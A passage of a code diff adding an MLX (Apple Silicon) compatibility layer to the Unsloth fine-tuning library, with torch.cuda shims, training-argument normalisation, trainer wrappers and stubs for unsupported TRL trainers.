through torch.cuda.empty_cache().""" + clear_gpu_memory() + + def _mlx_active_memory_bytes(): + """Current active MLX memory in bytes (not the peak high-water mark).""" + import mlx.core as mx + + get_active = getattr(mx, "get_active_memory", None) + if get_active is None and hasattr(mx, "metal"): + get_active = getattr(mx.metal, "get_active_memory", None) + return int(get_active()) if callable(get_active) else 0 + + def memory_current(device = None): + """Return CURRENT MLX memory in bytes. torch.cuda.memory_reserved / + memory_allocated report live usage, not the peak (that is max_*).""" + return _mlx_active_memory_bytes() + + def mem_get_info(device = None): + """Return (free, total) bytes for torch.cuda compatibility API. + Free uses CURRENT active memory, not the peak high-water mark, so + a capacity check stays accurate after a transient spike.""" + total = int(get_gpu_memory_stats()[2] * 1024 * 1024 * 1024) + return (max(total - _mlx_active_memory_bytes(), 0), total) + + def reset_peak_memory_stats(device = None): + """Reset MLX's peak-memory counter so a later max_memory_reserved / + max_memory_allocated scopes to the run, not earlier model-load peaks.""" + import mlx.core as mx + + reset = getattr(mx, "reset_peak_memory", None) + if reset is None and hasattr(mx, "metal"): + reset = getattr(mx.metal, "reset_peak_memory", None) + if callable(reset): + reset() + + def synchronize(device = None): + """Wait for queued MLX work when torch.cuda.synchronize() is called.""" + import mlx.core as mx + + sync = getattr(mx, "synchronize", None) + if callable(sync): + sync() + + cuda.get_device_properties = get_device_properties + cuda.get_device_name = get_device_name + cuda.max_memory_reserved = max_memory_reserved + cuda.max_memory_allocated = max_memory_reserved + cuda.memory_reserved = memory_current + cuda.memory_allocated = memory_current + cuda.empty_cache = empty_cache + cuda.mem_get_info = mem_get_info + cuda.reset_peak_memory_stats = reset_peak_memory_stats + cuda.synchronize = synchronize + cuda.current_device = lambda: 0 + cuda.device_count = lambda: 1 + cuda.set_device = lambda device = None: None + cuda.get_device_capability = lambda device = None: (0, 0) + cuda.is_bf16_supported = lambda *args, **kwargs: is_bfloat16_supported() + cuda._unsloth_mlx_cuda_compat_api = True + + tensor_to = getattr(torch.Tensor, "to", None) + if tensor_to is not None and not getattr(tensor_to, "_unsloth_mlx_cuda_noop", False): + + def _coerce_mlx_dtype_to_torch(value): + """Map MLX dtype objects to their torch dtype equivalents.""" + try: + import mlx.core as mx + except Exception: + return value + dtype_map = { + mx.bool_: torch.bool, + mx.int8: torch.int8, + mx.int16: torch.int16, + mx.int32: torch.int32, + mx.int64: torch.int64, + mx.uint8: torch.uint8, + mx.float16: torch.float16, + mx.float32: torch.float32, + mx.bfloat16: torch.bfloat16, + } + mapped = dtype_map.get(value, None) + if mapped is not None: + return mapped + dtype_name = str(value).rsplit(".", 1)[-1] + name_map = { + "bool_": torch.bool, + "int8": torch.int8, + "int16": torch.int16, + "int32": torch.int32, + "int64": torch.int64, + "uint8": torch.uint8, + "float16": torch.float16, + "float32": torch.float32, + "bfloat16": torch.bfloat16, + } + return name_map.get(dtype_name, value) + + def mlx_tensor_to(self, *args, **kwargs): + """Ignore CUDA device targets while preserving dtype conversions.""" + args = list(args) + kwargs = dict(kwargs) + removed_cuda_device = False + if args and _is_mlx_cuda_device_target(args[0]): + args.pop(0) + removed_cuda_device = True + if _is_mlx_cuda_device_target(kwargs.get("device", None)): + kwargs.pop("device", None) + removed_cuda_device = True + if removed_cuda_device and not args: + cuda_only_kwargs = ("non_blocking", "copy", "memory_format") + if all(key in cuda_only_kwargs for key in kwargs): + return self + if removed_cuda_device and not args and not kwargs: + return self + if args: + args[0] = _coerce_mlx_dtype_to_torch(args[0]) + if "dtype" in kwargs: + kwargs["dtype"] = _coerce_mlx_dtype_to_torch(kwargs["dtype"]) + return tensor_to(self, *args, **kwargs) + + mlx_tensor_to._unsloth_mlx_cuda_noop = True + mlx_tensor_to._unsloth_original_to = tensor_to + torch.Tensor.to = mlx_tensor_to + + tensor_cuda = getattr(torch.Tensor, "cuda", None) + if tensor_cuda is not None and not getattr(tensor_cuda, "_unsloth_mlx_cuda_noop", False): + + def mlx_tensor_cuda(self, *args, **kwargs): + """Treat tensor.cuda() as a no-op on MLX.""" + return self + + mlx_tensor_cuda._unsloth_mlx_cuda_noop = True + mlx_tensor_cuda._unsloth_original_cuda = tensor_cuda + torch.Tensor.cuda = mlx_tensor_cuda + + _patch_mlx_torch_cuda_compat_api() + + _MLX_TRAINING_CONFIG_FIELDS = {_field.name for _field in _dataclasses.fields(MLXTrainingConfig)} + _MLX_TRAINING_ARGUMENT_ALIASES = { + "max_length": "max_seq_length", + } + _MLX_COMPAT_EXTRA_ARGUMENTS = frozenset( + ( + "bf16", + "dataloader_num_workers", + "dataloader_pin_memory", + "dataset_kwargs", + "ddp_find_unused_parameters", + "disable_tqdm", + "eval_strategy", + "evaluation_strategy", + "fp16", + "full_determinism", + "gradient_checkpointing_kwargs", + "hub_model_id", + "hub_token", + "log_level", + "logging_strategy", + "neftune_noise_alpha", + "optim_args", + "padding_free", + "push_to_hub", + "remove_unused_columns", + "save_on_each_node", + "save_safetensors", + "save_strategy", + "torch_compile", + ) + ) + _MLX_IMPLEMENTED_EXTRA_ARGUMENTS = frozenset( + ( + "image_size", + "preserve_dataset_order", + "warmup_ratio", + ) + ) + _MLX_ALLOWED_EXTRA_ARGUMENTS = _MLX_COMPAT_EXTRA_ARGUMENTS | _MLX_IMPLEMENTED_EXTRA_ARGUMENTS + _MLX_UNSUPPORTED_TASK_ARGUMENTS = frozenset( + ( + "assistant_only_loss", + "completion_only_loss", + ) + ) + + def _is_mlx_no_save_strategy(value): + if hasattr(value, "value"): + value = value.value + strategy = str(value or "").strip().lower() + strategy = strategy.rsplit(".", 1)[-1] + return strategy in ("no", "none", "false") + + _MLX_ADAMW_OPTIMIZER_ALIASES = frozenset( + ( + "adamw_8bit", + "paged_adamw_8bit", + "adamw_bnb_8bit", + "paged_adamw_32bit", + "adamw_torch", + "adamw_torch_fused", + "paged_adamw", + "adamw_32bit", + "adamw_hf", + "adamw_anyprecision", + "adamw_apex_fused", + ) + ) + + def _normalize_mlx_training_value(key, value): + if key == "eval_steps" and value is None: + return 0 + if key == "num_train_epochs" and value is not None and not isinstance(value, bool): + try: + epochs = float(value) + except (TypeError, ValueError): + pass + else: + if epochs.is_integer(): + return int(epochs) + if key == "lr_scheduler_type" and hasattr(value, "value"): + return value.value + if key != "optim": + return value + try: + return _normalize_mlx_optimizer_name(value) + except ValueError: + # Older unsloth-zoo lacks CUDA/TRL optimizer aliases; map common + # adamw_* names so notebook defaults (optim="adamw_8bit") still work. + opt = str(getattr(value, "value", value) or "adamw").strip().lower() + opt = opt.rsplit(".", 1)[-1].replace("-", "_") + if opt in _MLX_ADAMW_OPTIMIZER_ALIASES: + return "adamw" + raise + + def _mlx_training_argument_values(args): + values = {} + for field in _dataclasses.fields(MLXTrainingConfig): + if hasattr(args, field.name): + values[field.name] = _normalize_mlx_training_value( + field.name, + getattr(args, field.name), + ) + for alias, target in _MLX_TRAINING_ARGUMENT_ALIASES.items(): + if target not in values and hasattr(args, alias): + values[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else alias] = getattr( + args, alias + ) + for name in _MLX_ALLOWED_EXTRA_ARGUMENTS: + if hasattr(args, name): + values[name] = getattr(args, name) + for name in _MLX_UNSUPPORTED_TASK_ARGUMENTS: + if hasattr(args, name): + value = getattr(args, name) + if ( + name == "completion_only_loss" + and value is not None + and name in _MLX_TRAINING_CONFIG_FIELDS + ): + values[name] = value + elif value is not None and value is not False: + values[name] = value + if _is_mlx_no_save_strategy(values.get("save_strategy", None)): + values["save_steps"] = 0 + return values + + def _split_mlx_trainer_kwargs(kwargs): + trainer_kwargs = {} + config_kwargs = {} + ignored_kwargs = {} + for key, value in kwargs.items(): + if key in _MLX_TRAINER_KWARGS: + trainer_kwargs[key] = value + continue + target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key) + if target in _MLX_TRAINING_CONFIG_FIELDS or key in _MLX_ALLOWED_EXTRA_ARGUMENTS: + config_kwargs[key] = value + else: + ignored_kwargs[key] = value + return trainer_kwargs, config_kwargs, ignored_kwargs + + def _is_mlx_training_args_like(value): + if isinstance(value, (MLXTrainingConfig, dict, str, os.PathLike)): + return True + return any( + hasattr(value, name) + for name in ( + "output_dir", + "per_device_train_batch_size", + "gradient_accumulation_steps", + "max_steps", + "learning_rate", + ) + ) + + def _should_use_trl_positional_schema(args): + if len(args) < 2: + return False + if _is_mlx_training_args_like(args[1]): + return True + # TRL callers often pass explicit defaults: + # SFTTrainer(model, None, None, train_dataset, ...) + return len(args) >= 3 and args[1] is None and (args[2] is None or callable(args[2])) + + def _assign_mlx_positional_kwarg(kwargs, name, value): + if name in kwargs: + raise TypeError( + f"UnslothTrainer.__init__() got multiple values for argument " f"{name!r}" + ) + kwargs[name] = value + + def _normalize_mlx_trainer_init_args(args, kwargs): + kwargs = dict(kwargs) + if len(args) == 0: + return kwargs + + use_trl_schema = _should_use_trl_positional_schema(args) + positional_names = ( + _TRL_SFT_TRAINER_POSITIONAL_KWARGS if use_trl_schema else _MLX_TRAINER_POSITIONAL_KWARGS + ) + if len(args) > len(positional_names): + raise TypeError( + f"UnslothTrainer.__init__() takes at most " + f"{len(positional_names)} positional arguments on MLX " + f"({len(args)} given)" + ) + for name, value in zip(positional_names, args): + _assign_mlx_positional_kwarg(kwargs, name, value) + return kwargs + + def _is_meaningful_mlx_extra_value(value): + if value is None or value is False: + return False + if isinstance(value, (str, bytes)) and len(value) == 0: + return False + if isinstance(value, (dict, list, tuple, set, frozenset)) and len(value) == 0: + return False + return True + + def _warn_ignored_mlx_training_args(extra_kwargs): + names = sorted( + key + for key, value in extra_kwargs.items() + if (key in _MLX_COMPAT_EXTRA_ARGUMENTS and _is_meaningful_mlx_extra_value(value)) + ) + if not names: + return + _warnings.warn( + "Unsloth MLX: accepting but not applying unsupported " + "TrainingArguments kwargs: " + f"{', '.join(names)}. These options are not implemented by " + "MLXTrainer yet.", + RuntimeWarning, + stacklevel = 3, + ) + + def _is_meaningful_mlx_trainer_kwarg(key, value): + if key == "optimizers" and value == (None, None): + return False + return _is_meaningful_mlx_extra_value(value) + + def _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs): + names = sorted( + key + for key, value in ignored_kwargs.items() + if _is_meaningful_mlx_trainer_kwarg(key, value) + ) + if not names: + return + raise NotImplementedError( + "Unsloth MLX: unsupported SFTTrainer kwargs cannot be ignored safely: " + f"{', '.join(names)}. Remove these kwargs or use a supported MLX " + "trainer configuration." + ) + + def _raise_unknown_mlx_training_args(extra_kwargs): + names = sorted(key for key in extra_kwargs if key not in _MLX_ALLOWED_EXTRA_ARGUMENTS) + if not names: + return + raise NotImplementedError( + "Unsloth MLX: unsupported TrainingArguments/SFTConfig kwargs: " + f"{', '.join(names)}. Remove these kwargs or use fields implemented " + "by MLXTrainingConfig." + ) + + def _positive_mlx_context_length(value): + if value is None or isinstance(value, bool): + return None + try: + length = int(value) + except (TypeError, ValueError, OverflowError): + return None + if length <= 0: + return None + return length + + def _positive_mlx_training_number(value): + if value is None or isinstance(value, bool): + return None + try: + number = float(value) + except (TypeError, ValueError, OverflowError): + return None + if number <= 0: + return None + return number + + def _set_mlx_cuda_style_context_length(args, length): + args.max_seq_length = length + args.max_length = length + args._unsloth_mlx_max_length_value = length + return args + + class UnslothTrainingArguments(MLXTrainingConfig): + """MLX-compatible public training arguments for Unsloth notebooks.""" + + def __init__(self, *args, **kwargs): + if len(args) == 1 and isinstance(args[0], dict): + kwargs = {**args[0], **kwargs} + elif len(args) == 1 and isinstance(args[0], (str, os.PathLike)): + kwargs = {"output_dir": os.fspath(args[0]), **kwargs} + elif args: + raise TypeError( + "UnslothTrainingArguments on MLX accepts keyword arguments, " + "a dict, or a single positional output_dir." + ) + + max_length_value = kwargs.get("max_length", None) + # Only the canonical max_seq_length marks context length explicit; TRL + # max_length stays a compatibility alias and defers to the model's + # context length when one is available. + max_seq_length_explicit = ( + _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None + ) + if "max_length" in kwargs and "max_seq_length" not in kwargs: + kwargs["max_seq_length"] = kwargs["max_length"] + elif ( + "max_length" in kwargs + and _positive_mlx_context_length(kwargs.get("max_seq_length", None)) is not None + ): + max_length_value = kwargs["max_seq_length"] + if "num_train_epochs" in kwargs and "max_steps" not in kwargs: + kwargs["max_steps"] = -1 + + dataset_order_explicit = "dataset_order" in kwargs or bool( + kwargs.get("preserve_dataset_order", False) + ) + append_eos_explicit = "append_eos" in kwargs + grad_clip_explicit = any( + name in kwargs for name in ("max_grad_norm", "max_grad_value", "max_grad_leaf_norm") + ) + warmup_ratio = kwargs.get("warmup_ratio", None) + warmup_steps_supplied = "warmup_steps" in kwargs + warmup_steps_value = kwargs.get("warmup_steps", None) + warmup_steps_explicit = False + if warmup_steps_supplied: + try: + warmup_steps_explicit = int(warmup_steps_value) > 0 + except (TypeError, ValueError): + warmup_steps_explicit = True + filtered_kwargs = {} + extra_kwargs = {} + for key, value in kwargs.items(): + target = _MLX_TRAINING_ARGUMENT_ALIASES.get(key, key) + if key != target and target in kwargs: + continue + value = _normalize_mlx_training_value(target, value) + if target in _MLX_UNSUPPORTED_TASK_ARGUMENTS: + if ( + target == "completion_only_loss" + and value is not None + and target in _MLX_TRAINING_CONFIG_FIELDS + ): + filtered_kwargs[target] = value + elif _is_meaningful_mlx_extra_value(value): + extra_kwargs[key] = value + continue + if target in _MLX_TRAINING_CONFIG_FIELDS: + filtered_kwargs[target] = value + else: + extra_kwargs[target if target in _MLX_ALLOWED_EXTRA_ARGUMENTS else key] = value + + _raise_unknown_mlx_training_args(extra_kwargs) + + if _is_mlx_no_save_strategy(extra_kwargs.get("save_strategy", None)): + filtered_kwargs["save_steps"] = 0 + + if warmup_ratio is not None and not warmup_steps_explicit: + import math as _math + max_steps = filtered_kwargs.get( + "max_steps", + getattr(MLXTrainingConfig, "max_steps", 60), + ) + try: + if int(max_steps) > 0: + filtered_kwargs["warmup_steps"] = max( + 0, + _math.ceil(int(max_steps) * float(warmup_ratio)), + ) + except (TypeError, ValueError): + pass + + super().__init__(**filtered_kwargs) + self._unsloth_mlx_dataset_order_explicit = dataset_order_explicit + self._unsloth_mlx_append_eos_explicit = append_eos_explicit + self._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit + self._unsloth_mlx_max_length_value = max_length_value + if "max_length" in kwargs: + self.max_length = max_length_value + self._unsloth_mlx_grad_clip_explicit = grad_clip_explicit + self._unsloth_mlx_warmup_steps_explicit = warmup_steps_explicit + self._unsloth_mlx_extra_args = extra_kwargs + for key, value in extra_kwargs.items(): + setattr(self, key, value) + _warn_ignored_mlx_training_args(extra_kwargs) + + def _resolve_mlx_cuda_style_max_seq_length(args, model = None): + model_max_seq_length = _positive_mlx_context_length( + getattr(model, "max_seq_length", None), + ) + args_max_seq_length = _positive_mlx_context_length( + getattr(args, "max_seq_length", None), + ) + args_max_seq_length_explicit = getattr( + args, + "_unsloth_mlx_max_seq_length_explicit", + None, + ) + if args_max_seq_length_explicit is None: + default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048) + args_max_seq_length_explicit = ( + args_max_seq_length is not None and args_max_seq_length != default_max_seq_length + ) + if not args_max_seq_length_explicit: + args_max_seq_length = None + + if args_max_seq_length is None and model_max_seq_length is not None: + args_max_seq_length = model_max_seq_length + elif ( + args_max_seq_length is not None + and model_max_seq_length is not None + and args_max_seq_length > model_max_seq_length + ): + print( + "Unsloth: You set `max_seq_length` as " + f"{args_max_seq_length} but the maximum the model supports is " + f"{model_max_seq_length}. We shall reduce it." + ) + args_max_seq_length = model_max_seq_length + + if args_max_seq_length is not None: + _set_mlx_cuda_style_context_length(args, args_max_seq_length) + return args + + model_max_length = model_max_seq_length + if model_max_length is None: + model_max_length = _positive_mlx_context_length( + getattr(model, "max_length", None), + ) + if model_max_length is not None: + _set_mlx_cuda_style_context_length(args, model_max_length) + return args + + args_max_length = _positive_mlx_context_length( + getattr(args, "max_length", None), + ) + if args_max_length is None: + args_max_length = _positive_mlx_context_length( + getattr(args, "_unsloth_mlx_max_length_value", None), + ) + if args_max_length is not None: + _set_mlx_cuda_style_context_length(args, args_max_length) + if model is not None: + setattr(model, "max_seq_length", args_max_length) + return args + + _set_mlx_cuda_style_context_length(args, 1024) + return args + + def _apply_unsloth_trainer_mlx_defaults( + args, + model = None, + max_seq_length_explicit = False, + ): + if ( + not getattr(args, "streaming", False) + and not getattr(args, "preserve_dataset_order", False) + and not getattr(args, "_unsloth_mlx_dataset_order_explicit", False) + ): + default_order = getattr(MLXTrainingConfig, "dataset_order", "default") + if getattr(args, "dataset_order", default_order) in (None, default_order): + args.dataset_order = "torch_randperm" + + if isinstance(args, UnslothTrainingArguments) and not getattr( + args, "_unsloth_mlx_append_eos_explicit", False + ): + args.append_eos = False + + if isinstance(args, UnslothTrainingArguments) and not getattr( + args, "_unsloth_mlx_grad_clip_explicit", False + ): + max_grad_norm = _positive_mlx_training_number( + getattr(args, "max_grad_norm", None), + ) + max_grad_value = _positive_mlx_training_number( + getattr(args, "max_grad_value", None), + ) + max_grad_leaf_norm = _positive_mlx_training_number( + getattr(args, "max_grad_leaf_norm", None), + ) + if max_grad_norm is None and max_grad_value is None and max_grad_leaf_norm is None: + args.max_grad_norm = 1.0 + + if not max_seq_length_explicit: + _resolve_mlx_cuda_style_max_seq_length(args, model = model) + return args + + def _coerce_mlx_training_args(args, overrides = None): + overrides = overrides or {} + if isinstance(args, MLXTrainingConfig) and not overrides: + return args + dataset_order_explicit = None + append_eos_explicit = None + max_seq_length_explicit = None + max_length_value = None + grad_clip_explicit = None + if args is None: + values = {} + elif isinstance(args, dict): + values = dict(args) + elif isinstance(args, (str, os.PathLike)): + values = {"output_dir": os.fspath(args)} + else: + dataset_order_explicit = getattr( + args, + "_unsloth_mlx_dataset_order_explicit", + False, + ) + append_eos_explicit = getattr( + args, + "_unsloth_mlx_append_eos_explicit", + None, + ) + max_seq_length_explicit = getattr( + args, + "_unsloth_mlx_max_seq_length_explicit", + None, + ) + if max_seq_length_explicit is None: + args_max_seq_length = _positive_mlx_context_length( + getattr(args, "max_seq_length", None), + ) + default_max_seq_length = getattr(MLXTrainingConfig, "max_seq_length", 2048) + max_seq_length_explicit = ( + args_max_seq_length is not None + and args_max_seq_length != default_max_seq_length + ) + max_length_value = getattr( + args, + "_unsloth_mlx_max_length_value", + getattr(args, "max_length", None), + ) + grad_clip_explicit = getattr( + args, + "_unsloth_mlx_grad_clip_explicit", + None, + ) + values = _mlx_training_argument_values(args) + if hasattr(args, "max_length"): + values["max_length"] = getattr(args, "max_length") + values.update(overrides) + coerced = UnslothTrainingArguments(**values) + if ( + dataset_order_explicit is not None + and "dataset_order" not in overrides + and "preserve_dataset_order" not in overrides + ): + coerced._unsloth_mlx_dataset_order_explicit = dataset_order_explicit + if append_eos_explicit is not None and "append_eos" not in overrides: + coerced._unsloth_mlx_append_eos_explicit = append_eos_explicit + if ( + max_seq_length_explicit is not None + and "max_seq_length" not in overrides + and "max_length" not in overrides + ): + coerced._unsloth_mlx_max_seq_length_explicit = max_seq_length_explicit + if max_length_value is not None and "max_length" not in overrides: + coerced._unsloth_mlx_max_length_value = max_length_value + coerced.max_length = max_length_value + if ( + grad_clip_explicit is not None + and "max_grad_norm" not in overrides + and "max_grad_value" not in overrides + and "max_grad_leaf_norm" not in overrides + ): + coerced._unsloth_mlx_grad_clip_explicit = grad_clip_explicit + return coerced + + _MLX_TRAINER_POSITIONAL_KWARGS = ( + "model", + "tokenizer", + "train_dataset", + "eval_dataset", + "dataset_text_field", + "max_seq_length", + "packing", + "data_collator", + "args", + "formatting_func", + "processor", + ) + _TRL_SFT_TRAINER_POSITIONAL_KWARGS = ( + "model", + "args", + "data_collator", + "train_dataset", + "eval_dataset", + "processing_class", + "compute_loss_func", + "compute_metrics", + "callbacks", + "optimizers", + "optimizer_cls_and_kwargs", + "preprocess_logits_for_metrics", + "peft_config", + "formatting_func", + ) + _MLX_TRAINER_KWARGS = frozenset(_MLX_TRAINER_POSITIONAL_KWARGS) + + def _is_mlx_native_text_collator(collator): + """HF pad/copy collators are redundant on MLX; match by class name.""" + for klass in type(collator).__mro__: + name = klass.__name__ + if name in ( + "DataCollatorForSeq2Seq", + "DataCollatorWithPadding", + "DefaultDataCollator", + ): + return True + if name == "DataCollatorForLanguageModeling": + # Plain causal padding is fine; MLM masking changes semantics. + return not bool(getattr(collator, "mlm", False)) + return False + + _MLX_VISION_COLLATOR_FORWARDED_KWARGS = frozenset( + ("completion_only_loss", "formatting_func", "max_seq_length") + ) + _MLX_VISION_COLLATOR_IMAGE_KWARGS = frozenset(("image_size", "resize")) + _MLX_VISION_COLLATOR_POSITIONAL_KWARGS = ( + "max_seq_length", + "formatting_func", + "resize", + "ignore_index", + "train_on_responses_only", + "instruction_part", + "response_part", + "force_match", + "num_proc", + "completion_only_loss", + "pad_to_multiple_of", + "resize_dimension", + "snap_to_patch_size", + "last_response_only", + ) + _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS = { + "ignore_index": -100, + "train_on_responses_only": False, + "instruction_part": None, + "response_part": None, + "force_match": True, + "num_proc": None, + "pad_to_multiple_of": None, + "resize_dimension": 0, + "snap_to_patch_size": False, + "last_response_only": False, + } + + def _is_default_mlx_vision_collator_value(key, value): + """Return whether an unsupported collator value is the CUDA default.""" + if key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS: + return False + default = _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS[key] + if default is None: + return value is None + if isinstance(default, bool): + return value is default + return value == default and type(value) is type(default) + + def _has_mlx_training_arg_value(args, key): + """Return whether training args already carry an explicit config value.""" + if args is None or isinstance(args, (str, os.PathLike)): + return False + if isinstance(args, dict): + return key in args + return getattr(args, key, None) is not None + + def _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs): + """Reject VLM collator kwargs that cannot be ignored safely on MLX.""" + unsupported = sorted( + key + for key, value in collator_kwargs.items() + if ( + key not in _MLX_VISION_COLLATOR_FORWARDED_KWARGS + and key not in _MLX_VISION_COLLATOR_IMAGE_KWARGS + and ( + ( + key in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS + and not _is_default_mlx_vision_collator_value(key, value) + ) + or ( + key not in _MLX_VISION_COLLATOR_UNSUPPORTED_DEFAULTS + and _is_meaningful_mlx_extra_value(value) + ) + ) + ) + ) + if unsupported: + raise NotImplementedError( + "Unsloth MLX: unsupported UnslothVisionDataCollator kwargs " + f"cannot be ignored safely: {', '.join(unsupported)}." + ) + + class UnslothTrainer(MLXTrainer): + """Backend-aware public trainer that routes supported SFT notebooks to MLX.""" + + def __init__(self, *args, **kwargs): + kwargs = _normalize_mlx_trainer_init_args(args, kwargs) + processing_class = kwargs.pop("processing_class", None) + processor_from_processing_class = False + if processing_class is not None: + if kwargs.get("processor", None) is None: + kwargs["processor"] = processing_class + processor_from_processing_class = True + if kwargs.get("tokenizer", None) is None: + kwargs["tokenizer"] = getattr( + processing_class, + "tokenizer", + processing_class, + ) + kwargs.setdefault("tokenizer", None) + + data_collator = kwargs.pop("data_collator", None) + if data_collator is not None: + if isinstance(data_collator, UnslothVisionDataCollator): + collator_processor = getattr(data_collator, "processor", None) + if collator_processor is not None and ( + kwargs.get("processor", None) is None or processor_from_processing_class + ): + kwargs["processor"] = collator_processor + if kwargs.get("tokenizer", None) is None: + kwargs["tokenizer"] = getattr( + collator_processor, + "tokenizer", + collator_processor, + ) + collator_kwargs = getattr(data_collator, "kwargs", None) or {} + collator_explicit_kwargs = getattr( + data_collator, + "_unsloth_mlx_explicit_kwargs", + set(collator_kwargs), + ) + collator_image_size = collator_kwargs.get( + "image_size", + collator_kwargs.get("resize", None), + ) + if isinstance(collator_image_size, list): + collator_image_size = tuple(collator_image_size) + if ( + isinstance(collator_image_size, str) + and collator_image_size.lower() == "max" + ): + collator_image_size = "max" + if "image_size" not in kwargs and ( + isinstance(collator_image_size, int) + or collator_image_size == "max" + or ( + isinstance(collator_image_size, tuple) + and len(collator_image_size) == 2 + and all(isinstance(x, int) for x in collator_image_size) + ) + ): + kwargs["image_size"] = collator_image_size + for collator_key in _MLX_VISION_COLLATOR_FORWARDED_KWARGS: + collator_defaulted_value = collator_key not in collator_explicit_kwargs + if collator_defaulted_value and _has_mlx_training_arg_value( + kwargs.get("args"), collator_key + ): + continue + if ( + collator_key in collator_kwargs + and collator_key not in kwargs + and collator_kwargs[collator_key] is not None + ): + kwargs[collator_key] = collator_kwargs[collator_key] + _raise_unsupported_mlx_vision_collator_kwargs(collator_kwargs) + elif _is_mlx_native_text_collator(data_collator): + pass # redundant on MLX; MLXTrainer batches/masks/pads natively + else: + raise NotImplementedError( + "Unsloth MLX: custom data_collator is not supported by " + "MLXTrainer. Pass the dataset directly or use the MLX " + "trainer's native batching path." + ) + + trainer_kwargs, config_kwargs, ignored_kwargs = _split_mlx_trainer_kwargs(kwargs) + _raise_unsupported_mlx_trainer_kwargs(ignored_kwargs) + trainer_kwargs["args"] = _coerce_mlx_training_args( + trainer_kwargs.get("args"), + config_kwargs, + ) + if getattr( + trainer_kwargs["args"], "completion_only_loss", None + ) is True and not _is_vlm_model(trainer_kwargs.get("model")): + raise NotImplementedError( + "Unsloth MLX: completion_only_loss=True is only supported " + "for VLM training. For text SFT, call train_on_responses_only " + "after constructing the trainer." + ) + if getattr( + trainer_kwargs["args"], "train_on_completions", None + ) is True and not _is_vlm_model(trainer_kwargs.get("model")): + raise NotImplementedError( + "Unsloth MLX: train_on_completions=True is only supported " + "for VLM training. For text SFT, call train_on_responses_only " + "after constructing the trainer." + ) + trainer_kwargs["args"] = _apply_unsloth_trainer_mlx_defaults( + trainer_kwargs["args"], + model = trainer_kwargs.get("model"), + max_seq_length_explicit = (trainer_kwargs.get("max_seq_length") is not None), + ) + + super().__init__(**trainer_kwargs) + self.processing_class = ( + processing_class + if processing_class is not None + else self.processor or self.tokenizer + ) + if trainer_kwargs.get("max_seq_length") is not None: + _set_mlx_cuda_style_context_length( + self.args, + self.args.max_seq_length, + ) + self._unsloth_mlx_ignored_trainer_kwargs = ignored_kwargs + class UnslothVisionDataCollator: + def __init__( + self, + model = None, + processor = None, + *args, + **kwargs, + ): + explicit_kwargs = set(kwargs) + if len(args) > len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS): + raise TypeError( + "UnslothVisionDataCollator on MLX accepts at most " + f"{len(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS)} positional " + "options after model and processor." + ) + for key, value in zip(_MLX_VISION_COLLATOR_POSITIONAL_KWARGS, args): + if key in kwargs: + raise TypeError( + f"UnslothVisionDataCollator got multiple values for argument {key!r}" + ) + kwargs[key] = value + explicit_kwargs.add(key) + if "completion_only_loss" not in kwargs: + kwargs["completion_only_loss"] = True + self.model = model + self.processor = processor + self.args = () + self.kwargs = kwargs + self._unsloth_mlx_explicit_kwargs = explicit_kwargs + + def __call__(self, features): + raise NotImplementedError( + "Unsloth: UnslothVisionDataCollator is a compatibility placeholder " + "on MLX. Pass the dataset to UnslothTrainer; MLXTrainer performs " + "vision batching internally." + ) + + def get_chat_template(*args, **kwargs): + """Apply an Unsloth chat template through a lazy MLX-safe import.""" + from .chat_templates import get_chat_template as _get_chat_template + return _get_chat_template(*args, **kwargs) + + def apply_chat_template(*args, **kwargs): + """Format a dataset with an Unsloth chat template through a lazy import.""" + from .chat_templates import apply_chat_template as _apply_chat_template + return _apply_chat_template(*args, **kwargs) + + def standardize_data_formats(*args, **kwargs): + """Normalize ShareGPT-style datasets through the shared zoo helper.""" + from unsloth_zoo.dataset_utils import standardize_data_formats as _standardize_data_formats + return _standardize_data_formats(*args, **kwargs) + + def standardize_sharegpt(*args, **kwargs): + """Alias ShareGPT standardization to the shared dataset-format helper.""" + return standardize_data_formats(*args, **kwargs) + + def train_on_responses_only(*args, **kwargs): + """Mask non-response tokens through the shared zoo dataset helper.""" + from unsloth_zoo.dataset_utils import train_on_responses_only as _train_on_responses_only + return _train_on_responses_only(*args, **kwargs) + + def _safe_mlx_trl_star_exports(_trl): + """Return importable TRL star exports plus the MLX SFT shims.""" + exports = list(getattr(_trl, "__all__", ())) + safe_exports = [] + for name in exports: + try: + getattr(_trl, name) + except Exception: + continue + safe_exports.append(name) + for name in ("SFTConfig", "SFTTrainer"): + if name not in safe_exports: + safe_exports.append(name) + return safe_exports + + # trl trainers with no MLX implementation yet. Swap them for stubs that fail + # with a clear message instead of importing the real torch/CUDA trainer and + # crashing deep inside it, so an unmigrated GRPO/DPO/ORPO notebook is legible. + _MLX_UNSUPPORTED_TRL_TRAINERS = ( + "GRPOTrainer", + "DPOTrainer", + "ORPOTrainer", + "KTOTrainer", + "PPOTrainer", + "RewardTrainer", + ) + + def _make_mlx_unsupported_trl_trainer(name): def __init__(self, *args, **kwargs): raise NotImplementedError( - "Unsloth: UnslothVisionDataCollator is not used on MLX. " - "Use the MLX trainer/data path instead." + f"Unsloth: {name} is not yet supported on the MLX (Apple Silicon) " + f"backend. Only SFT training runs on MLX today; use a CUDA/ROCm GPU " + f"for {name}." ) + return type(name, (), {"__init__": __init__, "_unsloth_mlx_unsupported": True}) + + class _MLXSFTConfig(UnslothTrainingArguments): + """`trl.SFTConfig` alias that keeps TRL's default training length. + + TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the + native MLX config defaults to max_steps=60. An unmigrated notebook that + builds SFTConfig without an explicit length would otherwise silently run + 60 MLX steps under this alias, so seed the TRL epoch default when neither + max_steps nor num_train_epochs is given (epoch mode is MLX-supported). + """ + + def __init__(self, *args, **kwargs): + keys = set(kwargs) + if len(args) == 1 and isinstance(args[0], dict): + keys |= set(args[0]) + if not ({"max_steps", "num_train_epochs"} & keys): + kwargs.setdefault("num_train_epochs", 3) + 